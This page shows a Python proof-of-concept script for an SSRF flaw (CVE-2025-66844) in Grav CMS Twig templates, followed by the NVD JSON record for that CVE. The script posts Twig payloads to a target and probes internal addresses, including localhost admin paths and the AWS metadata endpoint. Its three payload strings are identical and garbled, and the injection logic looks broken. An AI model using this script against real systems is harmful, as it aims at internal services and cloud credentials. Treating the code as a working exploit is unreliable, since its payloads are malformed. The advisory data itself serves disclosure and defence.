CVE-2025-66844

# CVE-2025-66844 SSRF PoC for Grav CMS # This PoC demonstrates the SSRF vulnerability in Grav CMS Twig templates # Target: Grav CMS < 1.7.49.5 with undefined PHP functions allowed import requests import sys target_url = "http://target-site.com/" # SSRF payload using Twig template syntax # This attempts to make the server request internal resources ssrf_payload = "{{\x7b'\x7b\x7b\x7d\x7d\x7d" # Alternative payload for internal port scanning internal_scan_payload = "{{\x7b'\x7b\x7b\x7d\x7d\x7d" # Payload to read local files via SSRF file_read_payload = "{{\x7b'\x7b\x7b\x7d\x7d\x7d" def test_ssrf(target): """Test for SSRF vulnerability""" print(f"[*] Testing SSRF vulnerability on {target}") # Test basic SSRF to internal service test_urls = [ "http://127.0.0.1:80/", "http://localhost/admin/", "http://169.254.169.254/latest/meta-data/", # AWS metadata ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded", } for url in test_urls: try: # Inject SSRF payload via page content parameter data = { "page[content]": f"{{{{ {url} }}}}", "page[template]": "default" } response = requests.post(target, headers=headers, data=data, timeout=10) print(f"[+] Sent SSRF probe to {url}") print(f" Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error testing {url}: {str(e)}") if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] test_ssrf(target_url)

{"cve": {"id": "CVE-2025-66844", "sourceIdentifier": "[email protected]", "published": "2025-12-15T16:15:53.497", "lastModified": "2025-12-17T15:38:46.163", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In grav <1.7.49.5, a SSRF (Server-Side Request Forgery) vector may be triggered via Twig templates when page content is processed by Twig and the configuration allows undefined PHP functions to be registered"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.49.5", "matchCriteriaId": "4635A1D7-7801-4263-A58C-17941EE530B4"}]}]}], "references": [{"url": "https://github.com/Yohane-Mashiro/grav_cve/issues/2", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}